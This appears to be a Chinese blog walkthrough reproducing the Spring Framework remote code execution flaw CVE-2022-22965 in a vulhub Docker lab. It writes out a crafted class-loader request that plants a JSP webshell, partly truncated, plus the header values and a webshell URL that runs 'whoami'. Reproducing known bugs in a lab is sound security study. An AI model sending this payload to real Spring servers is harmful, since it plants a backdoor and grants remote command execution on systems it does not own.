Spring Framework远程代码执行漏洞_CVE-2022-22965-复现

0x01 漏洞介绍

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。

0x02 漏洞复现

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

在当前目录下使用命令:docker-compose up -d 即可一键开启环境:

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

看到当前的端口开在了8080

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

打开页面之后,可以看到当前服务已经起来了:

http://127.0.0.1:8080/

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

按照作者的链接:

http://127.0.0.1:8080/?name=Bob&age=25

出现页面:

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

然后根据提示,构造请求地址:(方法不唯一)

http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25

该请求发出之后,需要进行变换:

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

红色部分替换为:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

效果查看下图:

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

然后访问:

http://10.30.2.146:8080//tomcatwar.jsp?pwd=j&cmd=whoami

执行命令即可!

《Spring Framework远程代码执行漏洞_CVE-2022-22965-复现》

注意,在这里的多次执行会不断的往日志写文件,请勿频繁操作!

点赞